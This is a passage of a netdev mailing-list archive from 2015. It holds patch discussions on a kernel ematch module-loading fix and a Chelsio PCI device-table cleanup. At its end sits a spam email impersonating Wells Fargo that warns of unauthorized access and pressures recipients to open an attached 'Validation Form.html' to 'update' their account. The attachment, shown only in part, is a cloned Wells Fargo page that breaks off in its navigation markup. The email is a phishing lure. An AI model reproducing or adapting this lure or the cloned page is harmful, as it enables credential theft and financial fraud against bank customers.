* Re: [PATCH net] ematch: Fix auto-loading of ematch modules.
From: Ignacy Gawędzki @ 2015-02-16 18:50 UTC (permalink / raw)
To: Cong Wang; +Cc: netdev
In-Reply-To: <CAHA+R7McGmFtXpiEJkOV2Jjgy29kzpX7tTeprS7S0pY2m9mJBw@mail.gmail.com>
On Mon, Feb 16, 2015 at 10:36:06AM -0800, thus spake Cong Wang:
> On Mon, Feb 16, 2015 at 10:13 AM, Ignacy Gawędzki
> <ignacy.gawedzki@green-communications.fr> wrote:
> > In tcf_em_validate(), when calling tcf_em_lookup(), don't put the resulting
> > pointer directly into em->ops, if the function is to possibly return -EAGAIN
> > after module auto-loading. Otherwise, module_put() will be called by
> > tcf_em_tree_destroy() on em->ops->owner, while it has already been called by
> > tcf_em_validate() before return.
> >
>
> Or simply reset em->ops to NULL after module_put()?
Yeah, why not. I just got my inspiration from what's done in cls_api.c and
act_api.c. What do you think, should the same simplification be applied to
cls_api.c?
--
Ignacy Gawędzki
R&D Engineer
Green Communications
^ permalink raw reply
* Re: [PATCH net] ematch: Fix auto-loading of ematch modules.
From: Cong Wang @ 2015-02-16 18:36 UTC (permalink / raw)
To: Ignacy Gawędzki, netdev
In-Reply-To: <20150216181315.GA15280@zenon.in.qult.net>
On Mon, Feb 16, 2015 at 10:13 AM, Ignacy Gawędzki
<ignacy.gawedzki@green-communications.fr> wrote:
> In tcf_em_validate(), when calling tcf_em_lookup(), don't put the resulting
> pointer directly into em->ops, if the function is to possibly return -EAGAIN
> after module auto-loading. Otherwise, module_put() will be called by
> tcf_em_tree_destroy() on em->ops->owner, while it has already been called by
> tcf_em_validate() before return.
>
Or simply reset em->ops to NULL after module_put()?
^ permalink raw reply
* Re: chelsio: Use a more common const struct pci_device_id foo[] style
From: Joe Perches @ 2015-02-16 18:21 UTC (permalink / raw)
To: Casey Leedom
Cc: Hariprasad S, James E.J. Bottomley, netdev@vger.kernel.org,
linux-kernel@vger.kernel.org, linux-scsi, David Miller
In-Reply-To: <4985EFDD773FCB459EF7915D2A3621ADB9E00A@nice.asicdesigners.com>
On Mon, 2015-02-16 at 18:05 +0000, Casey Leedom wrote:
> I can't quite tell if this is a patch request being sent to
> netdev/David Miller or if it's a suggestion sent to Chelsio that you'd
> like Chelsio to adopt. I ~think~ it's the latter because the subject
> doesn't include the standard formatting for a patch request but I'm
> not 100% familiar with the netdev/kernel.org conventions for this. My
> apologies if I'm misinterpreting your message.
Hi Casey.
Nah, that's not it.
I just forgot/neglected to prefix [PATCH] on the email when I
sent it.
The patch touches drivers/net/ethernet and drivers/scsi which
generally means that it's better for the company maintainers
to apply rather than coordinating between David and James,
the linux networking and scsi maintainers. Those guys for
most part don't like touching each others code areas.
> 1. The use of "const" certainly seems like a win.
I think so.
My goal here was to make obvious the use of
"const struct pci_device_id" which in the original is very
obfuscated/unclear.
> 2. Thanks for catching the redundant use of CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN to guard
> the actual contents of t4_pci_id_tbl.h. That's already being handled via the check for
> __T4_PCI_ID_TBL_H__ — no idea why I put that in there ...
That didn't matter much to me.
> 3. The use of the CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN and
> CH_PCI_DEVICE_ID_TABLE_DEFINE_END are used to make the t4_pci_id_tbl.h
> accommodate different driver needs. The header file is only concerned with providing
> a common enumeration of existing PCI Device Identifiers associated with adapters.
> The files including the header are only concerned with providing the necessary context
> for the header file. The header file ai an OS-independent header file which is
> shared across six existing OS driver implementations; similar to our OS-independent
> register definitions file.
I think that OS independent bit is not useful here.
> 4. The CH_PCI_ID_TABLE_ENTRY() macro is similarly used to strictly partition
> the roles of t4_pci_id_tbl.h and the files which include it. t4_pci_id_tbl.h is
> exactly what it's name implies: solely an enumeration of assigned hardware
> adapter PCI Device Identifiers.
Which is how it's used both before and after this change.
> 5. Because of the above change in the original abstraction layering, a new macro
> CH_PCI_ID_TABLE_ENTRY_DATA is introduced in this patch which passes in
> a desired value for the "dev" parameter of the PCI_VDEVICE() macro. But the
> documentation for this new macro in t4_pci_id_tbl.h is incorrectly given the
> documentation of the original CH_PCI_ID_TABLE_ENTRY() macro which
> was originally supplied by the file including t4_pci_id_tbl.h. This leaves its
> usage confusing for anyone reading the header file.
Do you have any clarifying text to suggest?
cheers, Joe
> In conclusion:
>
> A. I like the use of "const" in the table.
>
> B. I like removing the redundant content inclusion check of
> CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN.
>
> C. I'm uncomfortable with all the other changes.
> Casey
>
> ________________________________________
> From: Joe Perches [joe@perches.com]
> Sent: Friday, February 13, 2015 6:05 PM
> To: Hariprasad S; Casey Leedom; James E.J. Bottomley
> Cc: netdev@vger.kernel.org; linux-kernel@vger.kernel.org; linux-scsi
> Subject: chelsio: Use a more common const struct pci_device_id foo[] style
>
> Chelsio code shares a pci_device_table from an #include file.
> Make the include guard simpler and make the arrays const.
>
> Reduces data by moving tables to text.
>
> Removed unnecessary macros:
> o CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
> o CH_PCI_DEVICE_ID_TABLE_DEFINE_END
> o CH_PCI_ID_TABLE_ENTRY (moved to the .h file)
> Added new macro define:
> o CH_PCI_ID_TABLE_ENTRY_DATA
>
> text data bss dec hex filename
> 50550 923 172 51645 c9bd drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.o.new
> 46935 4531 172 51638 c9b6 drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.o.old
> 27864 355 8 28227 6e43 drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.o.new
> 26072 2203 8 28283 6e7b drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.o.old
> 9734 450 24 10208 27e0 drivers/scsi/csiostor/csio_init.o.new
> 7942 2242 24 10208 27e0 drivers/scsi/csiostor/csio_init.o.old
^ permalink raw reply
* [PATCH net] ematch: Fix auto-loading of ematch modules.
From: Ignacy Gawędzki @ 2015-02-16 18:13 UTC (permalink / raw)
To: netdev
In-Reply-To: <20150216150329.GB16798@zenon.in.qult.net>
In tcf_em_validate(), when calling tcf_em_lookup(), don't put the resulting
pointer directly into em->ops, if the function is to possibly return -EAGAIN
after module auto-loading. Otherwise, module_put() will be called by
tcf_em_tree_destroy() on em->ops->owner, while it has already been called by
tcf_em_validate() before return.
Signed-off-by: Ignacy Gawędzki <ignacy.gawedzki@green-communications.fr>
---
net/sched/ematch.c | 13 ++++++++-----
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/net/sched/ematch.c b/net/sched/ematch.c
index 6742200..39fbe2f 100644
--- a/net/sched/ematch.c
+++ b/net/sched/ematch.c
@@ -176,6 +176,7 @@ static int tcf_em_validate(struct tcf_proto *tp,
{
int err = -EINVAL;
struct tcf_ematch_hdr *em_hdr = nla_data(nla);
+ struct tcf_ematch_ops *em_ops;
int data_len = nla_len(nla) - sizeof(*em_hdr);
void *data = (void *) em_hdr + sizeof(*em_hdr);
struct net *net = dev_net(qdisc_dev(tp->q));
@@ -213,27 +214,29 @@ static int tcf_em_validate(struct tcf_proto *tp,
* here. Be aware, the destroy function assumes that the
* module is held if the ops field is non zero.
*/
- em->ops = tcf_em_lookup(em_hdr->kind);
+ em_ops = tcf_em_lookup(em_hdr->kind);
- if (em->ops == NULL) {
+ if (em_ops == NULL) {
err = -ENOENT;
#ifdef CONFIG_MODULES
__rtnl_unlock();
request_module("ematch-kind-%u", em_hdr->kind);
rtnl_lock();
- em->ops = tcf_em_lookup(em_hdr->kind);
- if (em->ops) {
+ em_ops = tcf_em_lookup(em_hdr->kind);
+ if (em_ops) {
/* We dropped the RTNL mutex in order to
* perform the module load. Tell the caller
* to replay the request.
*/
- module_put(em->ops->owner);
+ module_put(em_ops->owner);
err = -EAGAIN;
}
#endif
goto errout;
}
+ em->ops = em_ops;
+
/* ematch module provides expected length of data, so we
* can do a basic sanity check.
*/
--
2.1.0
^ permalink raw reply related
* RE: chelsio: Use a more common const struct pci_device_id foo[] style
From: Casey Leedom @ 2015-02-16 18:05 UTC (permalink / raw)
To: Joe Perches, Hariprasad S, James E.J. Bottomley
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org, linux-scsi,
David Miller
In-Reply-To: <1423879550.2795.12.camel@perches.com>
I can't quite tell if this is a patch request being sent to netdev/David Miller or if it's a suggestion sent to Chelsio that you'd like Chelsio to adopt. I ~think~ it's the latter because the subject doesn't include the standard formatting for a patch request but I'm not 100% familiar with the netdev/kernel.org conventions for this. My apologies if I'm misinterpreting your message.
1. The use of "const" certainly seems like a win.
2. Thanks for catching the redundant use of CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN to guard
the actual contents of t4_pci_id_tbl.h. That's already being handled via the check for
__T4_PCI_ID_TBL_H__ — no idea why I put that in there ...
3. The use of the CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN and
CH_PCI_DEVICE_ID_TABLE_DEFINE_END are used to make the t4_pci_id_tbl.h
accommodate different driver needs. The header file is only concerned with providing
a common enumeration of existing PCI Device Identifiers associated with adapters.
The files including the header are only concerned with providing the necessary context
for the header file. The header file ai an OS-independent header file which is
shared across six existing OS driver implementations; similar to our OS-independent
register definitions file.
4. The CH_PCI_ID_TABLE_ENTRY() macro is similarly used to strictly partition
the roles of t4_pci_id_tbl.h and the files which include it. t4_pci_id_tbl.h is
exactly what it's name implies: solely an enumeration of assigned hardware
adapter PCI Device Identifiers.
5. Because of the above change in the original abstraction layering, a new macro
CH_PCI_ID_TABLE_ENTRY_DATA is introduced in this patch which passes in
a desired value for the "dev" parameter of the PCI_VDEVICE() macro. But the
documentation for this new macro in t4_pci_id_tbl.h is incorrectly given the
documentation of the original CH_PCI_ID_TABLE_ENTRY() macro which
was originally supplied by the file including t4_pci_id_tbl.h. This leaves its
usage confusing for anyone reading the header file.
In conclusion:
A. I like the use of "const" in the table.
B. I like removing the redundant content inclusion check of
CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN.
C. I'm uncomfortable with all the other changes.
Casey
________________________________________
From: Joe Perches [joe@perches.com]
Sent: Friday, February 13, 2015 6:05 PM
To: Hariprasad S; Casey Leedom; James E.J. Bottomley
Cc: netdev@vger.kernel.org; linux-kernel@vger.kernel.org; linux-scsi
Subject: chelsio: Use a more common const struct pci_device_id foo[] style
Chelsio code shares a pci_device_table from an #include file.
Make the include guard simpler and make the arrays const.
Reduces data by moving tables to text.
Removed unnecessary macros:
o CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
o CH_PCI_DEVICE_ID_TABLE_DEFINE_END
o CH_PCI_ID_TABLE_ENTRY (moved to the .h file)
Added new macro define:
o CH_PCI_ID_TABLE_ENTRY_DATA
text data bss dec hex filename
50550 923 172 51645 c9bd drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.o.new
46935 4531 172 51638 c9b6 drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.o.old
27864 355 8 28227 6e43 drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.o.new
26072 2203 8 28283 6e7b drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.o.old
9734 450 24 10208 27e0 drivers/scsi/csiostor/csio_init.o.new
7942 2242 24 10208 27e0 drivers/scsi/csiostor/csio_init.o.old
Signed-off-by: Joe Perches <joe@perches.com>
---
drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 17 ++++------
drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h | 38 ++++++++--------------
.../net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c | 10 ++----
drivers/scsi/csiostor/csio_init.c | 11 +++----
4 files changed, 27 insertions(+), 49 deletions(-)
diff --git a/drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c b/drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c
index a22cf93..8a01eeb 100644
--- a/drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c
+++ b/drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c
@@ -123,23 +123,18 @@ struct filter_entry {
/* Macros needed to support the PCI Device ID Table ...
*/
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN \
- static struct pci_device_id cxgb4_pci_tbl[] = {
-#define CH_PCI_DEVICE_ID_FUNCTION 0x4
+
+#define CH_PCI_DEVICE_ID_FUNCTION 0x4
+#define CH_PCI_ID_TABLE_ENTRY_DATA 4
/* Include PCI Device IDs for both PF4 and PF0-3 so our PCI probe() routine is
* called for both.
*/
-#define CH_PCI_DEVICE_ID_FUNCTION2 0x0
-
-#define CH_PCI_ID_TABLE_ENTRY(devid) \
- {PCI_VDEVICE(CHELSIO, (devid)), 4}
-
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_END \
- { 0, } \
- }
+#define CH_PCI_DEVICE_ID_FUNCTION2 0x0
+static const struct pci_device_id cxgb4_pci_tbl[] = {
#include "t4_pci_id_tbl.h"
+};
#define FW4_FNAME "cxgb4/t4fw.bin"
#define FW5_FNAME "cxgb4/t5fw.bin"
diff --git a/drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h b/drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h
index ddfb5b8..f648091 100644
--- a/drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h
+++ b/drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h
@@ -39,9 +39,6 @@
*
* The macros are:
*
- * CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
- * -- Used to start the definition of the PCI ID Table.
- *
* CH_PCI_DEVICE_ID_FUNCTION
* -- The PCI Function Number to use in the PCI Device ID Table. "0"
* -- for drivers attaching to PF0-3, "4" for drivers attaching to PF4,
@@ -51,25 +48,17 @@
* -- If defined, create a PCI Device ID Table with both
* -- CH_PCI_DEVICE_ID_FUNCTION and CH_PCI_DEVICE_ID_FUNCTION2 populated.
*
- * CH_PCI_ID_TABLE_ENTRY(DeviceID)
+ * CH_PCI_ID_TABLE_ENTRY_DATA(DeviceID)
* -- Used for the individual PCI Device ID entries. Note that we will
* -- be adding a trailing comma (",") after all of the entries (and
* -- between the pairs of entries if CH_PCI_DEVICE_ID_FUNCTION2 is defined).
- *
- * CH_PCI_DEVICE_ID_TABLE_DEFINE_END
- * -- Used to finish the definition of the PCI ID Table. Note that we
- * -- will be adding a trailing semi-colon (";") here.
*/
-#ifdef CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
#ifndef CH_PCI_DEVICE_ID_FUNCTION
#error CH_PCI_DEVICE_ID_FUNCTION not defined!
#endif
-#ifndef CH_PCI_ID_TABLE_ENTRY
-#error CH_PCI_ID_TABLE_ENTRY not defined!
-#endif
-#ifndef CH_PCI_DEVICE_ID_TABLE_DEFINE_END
-#error CH_PCI_DEVICE_ID_TABLE_DEFINE_END not defined!
+#ifndef CH_PCI_ID_TABLE_ENTRY_DATA
+#error CH_PCI_ID_TABLE_ENTRY_DATA not defined!
#endif
/* T4 and later ASICs use a PCI Device ID scheme of 0xVFPP where:
@@ -81,19 +70,22 @@
* We use this consistency in order to create the proper PCI Device IDs
* for the specified CH_PCI_DEVICE_ID_FUNCTION.
*/
+
+#define CH_PCI_ID_TABLE_ENTRY(devid) \
+ { PCI_VDEVICE(CHELSIO, devid), CH_PCI_ID_TABLE_ENTRY_DATA }
+
#ifndef CH_PCI_DEVICE_ID_FUNCTION2
-#define CH_PCI_ID_TABLE_FENTRY(devid) \
- CH_PCI_ID_TABLE_ENTRY((devid) | \
+#define CH_PCI_ID_TABLE_FENTRY(devid) \
+ CH_PCI_ID_TABLE_ENTRY((devid) | \
((CH_PCI_DEVICE_ID_FUNCTION) << 8))
#else
-#define CH_PCI_ID_TABLE_FENTRY(devid) \
- CH_PCI_ID_TABLE_ENTRY((devid) | \
- ((CH_PCI_DEVICE_ID_FUNCTION) << 8)), \
- CH_PCI_ID_TABLE_ENTRY((devid) | \
+#define CH_PCI_ID_TABLE_FENTRY(devid) \
+ CH_PCI_ID_TABLE_ENTRY((devid) | \
+ ((CH_PCI_DEVICE_ID_FUNCTION) << 8)), \
+ CH_PCI_ID_TABLE_ENTRY((devid) | \
((CH_PCI_DEVICE_ID_FUNCTION2) << 8))
#endif
-CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
/* T4 adapters:
*/
CH_PCI_ID_TABLE_FENTRY(0x4000), /* T440-dbg */
@@ -154,8 +146,6 @@ CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN
CH_PCI_ID_TABLE_FENTRY(0x5087), /* Custom T580-CR */
CH_PCI_ID_TABLE_FENTRY(0x5088), /* Custom T570-CR */
CH_PCI_ID_TABLE_FENTRY(0x5089), /* Custom T520-CR */
-CH_PCI_DEVICE_ID_TABLE_DEFINE_END;
-
-#endif /* CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN */
+ {},
#endif /* __T4_PCI_ID_TBL_H__ */
diff --git a/drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c b/drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c
index 122e296..7b8b834 100644
--- a/drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c
+++ b/drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c
@@ -3033,16 +3033,12 @@ static void cxgb4vf_pci_shutdown(struct pci_dev *pdev)
/* Macros needed to support the PCI Device ID Table ...
*/
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN \
- static struct pci_device_id cxgb4vf_pci_tbl[] = {
#define CH_PCI_DEVICE_ID_FUNCTION 0x8
+#define CH_PCI_ID_TABLE_ENTRY_DATA 0
-#define CH_PCI_ID_TABLE_ENTRY(devid) \
- { PCI_VDEVICE(CHELSIO, (devid)), 0 }
-
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_END { 0, } }
-
+static const struct pci_device_id cxgb4vf_pci_tbl[] = {
#include "../cxgb4/t4_pci_id_tbl.h"
+};
MODULE_DESCRIPTION(DRV_DESC);
MODULE_AUTHOR("Chelsio Communications");
diff --git a/drivers/scsi/csiostor/csio_init.c b/drivers/scsi/csiostor/csio_init.c
index d9631e1..0618fbd 100644
--- a/drivers/scsi/csiostor/csio_init.c
+++ b/drivers/scsi/csiostor/csio_init.c
@@ -1171,17 +1171,14 @@ static struct pci_error_handlers csio_err_handler = {
/*
* Macros needed to support the PCI Device ID Table ...
*/
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_BEGIN \
- static struct pci_device_id csio_pci_tbl[] = {
+
/* Define for FCoE uses PF6 */
#define CH_PCI_DEVICE_ID_FUNCTION 0x6
+#define CH_PCI_ID_TABLE_ENTRY_DATA 0
-#define CH_PCI_ID_TABLE_ENTRY(devid) \
- { PCI_VDEVICE(CHELSIO, (devid)), 0 }
-
-#define CH_PCI_DEVICE_ID_TABLE_DEFINE_END { 0, } }
-
+static const struct pci_device_id csio_pci_tbl[] = {
#include "t4_pci_id_tbl.h"
+};
static struct pci_driver csio_pci_driver = {
.name = KBUILD_MODNAME,
^ permalink raw reply related
* Unauthorized activity on your online account
From: Wells Fargo @ 2015-02-16 16:13 UTC (permalink / raw)
To: netdev
[-- Attachment #1: Message text --]
[-- Type: text/plain, Size: 707 bytes --]
Dear Wells Fargo customer,
We have recently detected that a different computer user has attempted gaining access to your online account and multiple passwords were attempted with your user ID.
It is necessary to re-confirm your account information and complete a profile update.
You can do this by downloading the attached file and updating the necessary fields.
Note: If this process is not completed within 24-48 hours we will be forced to suspend your account online access as it may have been used for fraudulent purposes.
Completion of this update will avoid any possible problems with your account.
Thank you for being a valued customer.
(C) 2015 Wells Fargo. All rights reserved.
[-- Attachment #2: Attached file: Validation Form.html --]
[-- Type: application/octet-stream, Size: 55607 bytes --]
<!DOCTYPE html>
<!--[if IE 7]><html xmlns="http://www.w3.org/1999/xhtml" lang="en" class="no-js lt-ie9 lt-ie8 ie7"> <![endif]-->
<!--[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" lang="en" class="no-js lt-ie9 ie8"> <![endif]-->
<!--[if IE 9]><html xmlns="http://www.w3.org/1999/xhtml" lang="en" class="no-js ie9"> <![endif]-->
<!--[if !IE]><!--><html xmlns="http://www.w3.org/1999/xhtml" lang="en" class="no-js"> <!--<![endif]-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=100" />
<title>Customer Service for All Accounts — Wells Fargo</title>
<meta name="description" content="Contact Wells Fargo by phone or online, find answers to your questions, get help with online account services and more."/>
<meta name="keywords" content="form, username help, username, password help, password reset, password, feedback, comments, questions, help center, email address, email, contact, contact us, help, customer service"/>
<meta name="robots" content="index, follow"/>
<link rel="canonical" href="https://www.wellsfargo.com/help/" />
<link rel="stylesheet" href="https://www.wellsfargo.com/css/template/global.css" />
<link rel="stylesheet" href="https://www.wellsfargo.com/css/template/video-js.css" />
<link rel="stylesheet" href="https://www.wellsfargo.com/css/template/ui-lightness/jquery-ui.custom.css" />
<link rel="stylesheet" href="https://www.wellsfargo.com/css/template/print.css" media="print" />
<link rel="shortcut icon" type="image/x-icon" href="https://www.wellsfargo.comhttps://www01.wellsfargomedia.com/favicon.ico"/>
<script src="https://www.wellsfargo.com/js/global/video.js"></script>
<script>
// if this line executes, then javascript is turned on and we'll therefore remove the no-js class from the HTML tag
document.documentElement.className = document.documentElement.className.replace(/(^|\s)no-js(\s|$)/, '$1$2');
</script>
</head>
<body>
<div id="shell" class="t8" data-pid="222-8837-64" data-ptid="91-6232-128" data-lightbox-print="false">
<a href="https://www.wellsfargo.com#skip" class="hidden">Skip to content</a>
<header role="banner">
<div id="masthead" class="html5header c1">
<div id="mainNav">
<div id="brand">
<a href="">
<img alt="Wells Fargo Bank" src="https://www01.wellsfargomedia.com/assets/images/global/wf-logo.gif" />
</a>
</div>
<div id="topSearch">
<ul role="navigation">
<li>
<a href="" class="signIn">Sign On</a>
</li>
<li>
<strong>Customer Service</strong>
</li>
<li>
<a href="">ATMs/Locations</a>
</li>
<li>
<a href="">Espanol</a>
</li>
</ul>
<form id="frmSearch" action="" method="get" role="search">
<label for="inputTopSearchField" class="hide">Search</label>
<input name="query" value="" placeholder="Search" maxlength="75" size="75" type="text" id="inputTopSearchField" />
<input value="Search" id="btnTopSearch" type="submit" />
</form>
</div>
<nav>
<div class="html5nav" id="tabNav" role="navigation">
<ul>
<li class="current"><a id="tabNavPersonal" class="tabNavLink" href="" name="tabNavPersonal">Personal</a></li>
<li>
<a href="" class="tabNavLink" id="tabNavSmallBusiness" name="tabNavSmallBusiness">Small Business</a>
</li>
<li>
<a href="" class="tabNavLink" id="tabNavCommercial" name="tabNavCommercial">Commercial</a>
</li>
</ul>
</div>
</nav>
<div id="headerTools">
<nav>
<ul>
<li>
<a href="">Financial Education</a>
</li>
<li>
<a href="">About Wells Fargo</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</header>
<nav>
<ul id="fatnav" role="navigation">
<li id="bankingTab"><a class="navLevel1" href="https://www.wellsfargo.com#banking" aria-haspopup="true" data-navitem="banking">Banking</a></li>
<li id="loansTab"><a class="navLevel1" href="https://www.wellsfargo.com#loans" aria-haspopup="true" data-navitem="loans">Loans and Credit</a></li>
<li id="insuranceTab"><a class="navLevel1" href="https://www.wellsfargo.com#insurance" aria-haspopup="true" data-navitem="insurance">Insurance</a></li>
<li id="investingTab"><a class="navLevel1" href="https://www.wellsfargo.com#investing" aria-haspopup="true" data-navitem="investing">Investing and Retirement</a></li>
<li id="wealthTab"><a class="navLevel1" href="https://www.wellsfargo.com#wealth" aria-haspopup="true" data-navitem="wealth">Wealth Management</a></li>
</ul>
</nav>
<noscript>
<div id="msgnojs">
<p>We're sorry, but some features of our site require JavaScript. Please enable JavaScript on your browser and refresh the page.</p>
</div>
</noscript>
<div id="banking" class="navItem" aria-hidden="true" role="region" aria-labelledby="bankingTab">
<h2 class="hide">Banking</h2>
<div class="navItemLeft">
<div>
<div class="fatNavTitle">
<h2>Accounts and Services</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/checking/">Checking Accounts</a>
</li>
<li>
<a href="https://www.wellsfargo.com/savings-cds/">Savings Accounts and CDs</a>
</li>
<li>
<a href="https://www.wellsfargo.com/debit-card/">Debit and Prepaid Cards</a>
</li>
<li>
<a href="https://www.wellsfargo.com/credit-cards/">Credit Cards</a>
</li>
<li>
<a href="https://www.wellsfargo.com/foreign-exchange/">Foreign Exchange</a>
</li>
<li>
<a href="https://www.wellsfargo.com/international-remittances/">Global Remittance Services</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle"> </div>
<ul>
<li>
<a href="https://www.wellsfargo.com/online-banking/">Online Banking</a>
</li>
<li>
<a href="https://www.wellsfargo.com/online-banking/bill-pay/">Online Bill Pay</a>
</li>
<li>
<a href="https://www.wellsfargo.com/online-banking/transfers/">Transfers</a>
</li>
<li>
<a href="https://www.wellsfargo.com/online-banking/statements/">Online Statements</a>
</li>
<li>
<a href="https://www.wellsfargo.com/mobile/">Mobile Banking</a>
</li>
<li>
<a href="https://www.wellsfargo.com/atm">ATM Services</a>
</li>
</ul>
</div>
</div>
<div>
<div class="fatNavTitle">
<h2>Your Financial Goals</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/tax-center/">Tax Center</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-banking-made-easy/index">Banking Made Easy</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-protect-what-counts/">Protect What Counts</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-retirement/">Planning for Retirement</a>
</li>
<li>
<a href="https://www.wellsfargo.com/privacy-security/fraud/">Fraud Information Center</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Popular Links</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/mortgage/rates/?dm=DMIWFHPRAT">Mortgage Rates</a>
</li>
<li>
<a href="https://www.wellsfargo.com/help/routing-number/">Routing Number</a>
</li>
<li>
<a href="https://www.wellsfargo.com/checking/overdraft-services/">Overdraft Services</a>
</li>
<li>
<a href="https://www.wellsfargo.com/financial-assistance/">Get Help with Payment Challenges</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://adfarm.mediaplex.com/ad/ck/1221-8226-3408-211">Open a Checking Account</a>
</li>
<li>
<a href="https://www.wellsfargo.com/products_services/applications_viewall">Apply for an Account or Service</a>
</li>
</ul>
</div>
<br style="clear:both" />
</div>
<div id="loans" class="navItem hide" aria-hidden="true" role="region" aria-labelledby="loansTab">
<h2 class="hide">Loans and Credit</h2>
<div class="navItemLeft">
<div>
<div class="fatNavTitle">
<h2>Accounts and Services</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/mortgage/">Mortgage Loans</a>
</li>
<li>
<a href="https://www.wellsfargo.com/equity/">Home Equity Loans</a>
</li>
<li>
<a href="https://www.wellsfargo.com/personal_credit/">Personal Lines and Loans</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle"> </div>
<ul>
<li>
<a href="https://www.wellsfargo.com/student/">Student Loans</a>
</li>
<li>
<a href="https://www.wellsfargo.com/autoloans/">Auto Loans</a>
</li>
<li>
<a href="https://www.wellsfargo.com/credit-cards/">Credit Cards</a>
</li>
</ul>
</div>
</div>
<div>
<div class="fatNavTitle">
<h2>Your Financial Goals</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/mortgage/home-loans">Home Lending</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-going-to-college/">Going to College</a>
</li>
<li>
<a href="https://www.wellsfargo.com/goals-credit/">Borrowing and Credit</a>
</li>
<li>
<a href="https://www.wellsfargo.com/privacy-security/fraud">Fraud Information Center</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle">
<h2>Popular Links</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/mortgage/rates/?dm=DMIWFHPRAT">Mortgage Rates</a>
</li>
<li>
<a href="https://www.wellsfargo.com/equity/tools/rate_calc">Home Equity Rates</a>
</li>
<li>
<a href="https://www.wellsfargo.com/financial-assistance/">Get Help with Payment Challenges</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://mywellsfargorewards.com">Rewards</a>
</li>
<li>
<a href="https://www.wellsfargo.com/jump/applications/inprogress">Finish Application/Check Status</a>
</li>
<li>
<a href="https://www.wellsfargo.comhttps://adfarm.mediaplex.com/ad/ck/1221-7304-3408-198">Student Loan Discounts</a>
</li>
</ul>
</div>
<br style="clear:both" />
</div>
<div id="insurance" class="navItem hide" aria-hidden="true" role="region" aria-labelledby="insuranceTab">
<h2 class="hide">Insurance</h2>
<div class="navItemLeft">
<div>
<div class="fatNavTitle">
<h2>Products and Services</h2>
</div>
<ul>
<li>
<a href="https://www.wellsfargo.com/insurance-auto-vehicle/auto/">Auto Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-auto-vehicle/vehicle/">Specialty Vehicle Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-life-health/life/">Life Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-life-health/health/">Health Insurance</a>
</li>
</ul>
</div>
<div>
<div class="fatNavTitle"> </div>
<ul>
<li>
<a href="https://www.wellsfargo.com/insurance-property/home/">Homeowners Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-property/renters/">Renters Insurance</a>
</li>
<li>
<a href="https://www.wellsfargo.com/insurance-identity-theft-protection/">Identity Theft Protection Plans</a>
</li>
</ul>
</div>
</div>
<div>
<div class="fatNavTitle">
<h2>Your Financial Goals</h2>
</div>
<ul>
<li>
